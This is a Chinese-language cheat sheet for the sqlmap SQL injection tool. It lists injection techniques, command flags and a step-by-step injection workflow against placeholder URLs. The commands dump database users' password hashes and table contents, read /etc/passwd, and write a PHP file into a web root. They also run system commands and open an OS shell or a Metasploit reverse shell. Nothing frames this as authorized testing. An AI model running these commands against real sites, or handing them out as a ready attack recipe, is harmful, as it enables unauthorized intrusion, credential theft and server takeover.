
sqlmap是一個(gè)自動(dòng)化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞,目前支持的數(shù)據(jù)庫(kù)是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五種獨(dú)特的SQL注入技術(shù),分別是:

1)基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入。 2)基于時(shí)間的盲注,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。 3)基于報(bào)錯(cuò)注入,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中。 4)聯(lián)合查詢(xún)注入,可以使用union的情況下的注入。 5)堆查詢(xún)注入,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入。 參數(shù)
-u #注入點(diǎn) --sql-shell 返回sql shell -f #指紋判別數(shù)據(jù)庫(kù)類(lèi)型 -b #獲取數(shù)據(jù)庫(kù)版本信息 -p #指定可測(cè)試的參數(shù)(?page=1&id=2 -p 'page,id') -D '' #指定數(shù)據(jù)庫(kù)名 -T '' #指定表名 -C '' #指定字段 -s '' #保存注入過(guò)程到一個(gè)文件,還可中斷,下次恢復(fù)在注入(保存:-s 'xx.log' 恢復(fù):-s 'xx.log' --resume) --level=(1-5) #要執(zhí)行的測(cè)試水平等級(jí),默認(rèn)為1 --risk=(0-3) #測(cè)試執(zhí)行的風(fēng)險(xiǎn)等級(jí),默認(rèn)為1 --time-sec=(2,5) #延遲響應(yīng),默認(rèn)為5 --data #通過(guò)POST發(fā)送數(shù)據(jù) --columns #列出字段 --current-user #獲取當(dāng)前用戶(hù)名稱(chēng) --current-db #獲取當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)

-users #列數(shù)據(jù)庫(kù)所有用戶(hù) --passwords #數(shù)據(jù)庫(kù)用戶(hù)所有密碼 --privileges #查看用戶(hù)權(quán)限(--privileges -U root) -U #指定數(shù)據(jù)庫(kù)用戶(hù) –prefix=PREFIX 注入payload 字符串前綴 –suffix=SUFFIX 注入 payload 字符串后綴 --dbs #列出所有數(shù)據(jù)庫(kù) --tables -D '' #列出指定數(shù)據(jù)庫(kù)中的表 --columns -T 'user' -D 'mysql' #列出mysql數(shù)據(jù)庫(kù)中的user表的所有字段 --dump-all #列出所有數(shù)據(jù)庫(kù)所有表 --exclude-sysdbs #只列出用戶(hù)自己新建的數(shù)據(jù)庫(kù)和表 --dump -T '' -D '' -C '' #列出指定數(shù)據(jù)庫(kù)的表的字段的數(shù)據(jù)(--dump -T users -D master -C surname) --dump -T '' -D '' --start 2 --top 4 # 列出指定數(shù)據(jù)庫(kù)的表的2-4字段的數(shù)據(jù) --dbms #指定數(shù)據(jù)庫(kù)(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) --os #指定系統(tǒng)(Linux,Windows) -v #詳細(xì)的等級(jí)(0-6) 0:只顯示Python的回溯,錯(cuò)誤和關(guān)鍵消息。 1:顯示信息和警告消息。 2:顯示調(diào)試消息。 3:有效載荷注入。 4:顯示HTTP請(qǐng)求。 5:顯示HTTP響應(yīng)頭。 6:顯示HTTP響應(yīng)頁(yè)面的內(nèi)容 --privileges #查看權(quán)限 --is-dba #是否是數(shù)據(jù)庫(kù)管理員 --roles #枚舉數(shù)據(jù)庫(kù)用戶(hù)角色 --udf-inject #導(dǎo)入用戶(hù)自定義函數(shù)(獲取系統(tǒng)權(quán)限) --union-check #是否支持union 注入 --union-cols #union 查詢(xún)表記錄 --union-test #union 語(yǔ)句測(cè)試 --union-use #采用union 注入 --union-tech orderby #union配合order by --data '' #POST方式提交數(shù)據(jù)(--data 'page=1&id=2') --cookie '用;號(hào)分開(kāi)' #cookie注入(--cookies=”P(pán)HPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) --referer '' #使用referer欺騙(--referer 'http://www.baidu.com') --user-agent '' #自定義user-agent
--proxy 'http://127.0.0.1:8118' #代理注入 --string='' #指定關(guān)鍵詞,字符串匹配. --threads #采用多線(xiàn)程(--threads 3) --sql-shell #執(zhí)行指定sql命令 --sql-query #執(zhí)行指定的sql語(yǔ)句(--sql-query 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' ) --file-read #讀取指定文件 --file-write #寫(xiě)入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫(xiě)入到目標(biāo)的1.txt) --file-dest #要寫(xiě)入的文件絕對(duì)路徑 --os-cmd=id #執(zhí)行系統(tǒng)命令 --os-shell #系統(tǒng)交互shell --os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/) --msf-path= #matesploit絕對(duì)路徑(--msf-path=/opt/framework/msf3/) --os-smbrelay # --os-bof # --reg-read #讀取win系統(tǒng)注冊(cè)表 --priv-esc # --time-sec= #延遲設(shè)置 默認(rèn)--time-sec=5 為5秒 -p 'user-agent' --user-agent 'sqlmap/0.7rc1 (http://sqlmap.)' #指定user-agent注入 --eta #盲注
常用語(yǔ)句
#列出當(dāng)前庫(kù)所有表 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --union-cols #union 查詢(xún)表記錄 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --cookie 'COOKIE_VALUE' #cookie注入python sqlmap/sqlmap.py -u 'http://url/news?id=1' --current-user #獲取當(dāng)前用戶(hù)名稱(chēng) python sqlmap/sqlmap.py -u 'http://www./news?id=1' --current-db #獲取當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng) python sqlmap/sqlmap.py -u 'http://www./news?id=1' --tables -D 'db_name' #列表名 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --columns -T 'tablename' users-D 'db_name' -v 0 #列字段 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump -C 'column_name' -T 'table_name' -D 'db_name' -v 0 #獲取字段內(nèi)容 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --smart --level 3 --users # smart智能 level 執(zhí)行測(cè)試等級(jí) python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dbms 'Mysql' --users # dbms 指定數(shù)據(jù)庫(kù)類(lèi)型 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --users #列數(shù)據(jù)庫(kù)用戶(hù) python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dbs#列數(shù)據(jù)庫(kù) python sqlmap/sqlmap.py -u 'http://url/news?id=1' --passwords #數(shù)據(jù)庫(kù)用戶(hù)密碼 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --passwords-U root -v 0 #列出指定用戶(hù)數(shù)據(jù)庫(kù)密碼 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump -C 'password,user,id' -T 'tablename' -D 'db_name' --start 1 --stop 20 #列出指定字段,列出20條 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump-all -v 0 #列出所有數(shù)據(jù)庫(kù)所有表 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --privileges #查看權(quán)限 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --privileges -U root #查看指定用戶(hù)權(quán)限 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --is-dba -v 1 #是否是數(shù)據(jù)庫(kù)管理員 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --roles #枚舉數(shù)據(jù)庫(kù)用戶(hù)角色 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --udf-inject #導(dǎo)入用戶(hù)自定義函數(shù)(獲取系統(tǒng)權(quán)限?。?br>python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump-all --exclude-sysdbs -python sqlmap/sqlmap.py -u 'http://url/news?id=1' -b #獲取banner信息 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --data 'id=3' #post注入 python sqlmap/sqlmap.py -u 'http://url/news?id=1' -v 1 -f #指紋判別數(shù)據(jù)庫(kù)類(lèi)型 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --proxy'http://127.0.0.1:8118' #代理注入 python sqlmap/sqlmap.py -u 'http://url/news?id=1'--string'STRING_ON_TRUE_PAGE' #指定關(guān)鍵詞 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --sql-shell #執(zhí)行指定sql命令 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --file /etc/passwd python sqlmap/sqlmap.py -u 'http://url/news?id=1' --os-cmd=whoami #執(zhí)行系統(tǒng)命令 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --os-shell #系統(tǒng)交互shell python sqlmap/sqlmap.py -u 'http://url/news?id=1' --os-pwn #反彈shell python sqlmap/sqlmap.py -u 'http://url/news?id=1' --reg-read #讀取win系統(tǒng)注冊(cè)表 python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dbs-o 'sqlmap.log' #保存進(jìn)度 注入流程 簡(jiǎn)單的注入流程 1.讀取數(shù)據(jù)庫(kù)版本,當(dāng)前用戶(hù),當(dāng)前數(shù)據(jù)庫(kù) sqlmap -u http://www./test.php?p=2 -f -b --current-user --current-db -v 1 2.判斷當(dāng)前數(shù)據(jù)庫(kù)用戶(hù)權(quán)限 sqlmap -u http://www./test.php?p=2 --privileges -U 用戶(hù)名 -v 1 sqlmap -u http://www./test.php?p=2 --is-dba -U 用戶(hù)名 -v 1 3.讀取所有數(shù)據(jù)庫(kù)用戶(hù)或指定數(shù)據(jù)庫(kù)用戶(hù)的密碼 sqlmap -u http://www./test.php?p=2 --users --passwords -v 2 sqlmap -u http://www./test.php?p=2 --passwords -U root -v 2 4.獲取所有數(shù)據(jù)庫(kù) sqlmap -u http://www./test.php?p=2 --dbs -v 2 5.獲取指定數(shù)據(jù)庫(kù)中的所有表 sqlmap -u http://www./test.php?p=2 --tables -D mysql -v 2 6.獲取指定數(shù)據(jù)庫(kù)名中指定表的字段 sqlmap -u http://www./test.php?p=2 --columns -D mysql -T users -v 2 7.獲取指定數(shù)據(jù)庫(kù)名中指定表中指定字段的數(shù)據(jù) sqlmap -u http://www./test.php?p=2 --dump -D mysql -T users -C 'username,password' -s 'sqlnmapdb.log' -v 2 8.file-read讀取web文件 sqlmap -u http://www./test.php?p=2 --file-read '/etc/passwd' -v 2 9.file-write寫(xiě)入文件到web sqlmap -u http://www./test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2
|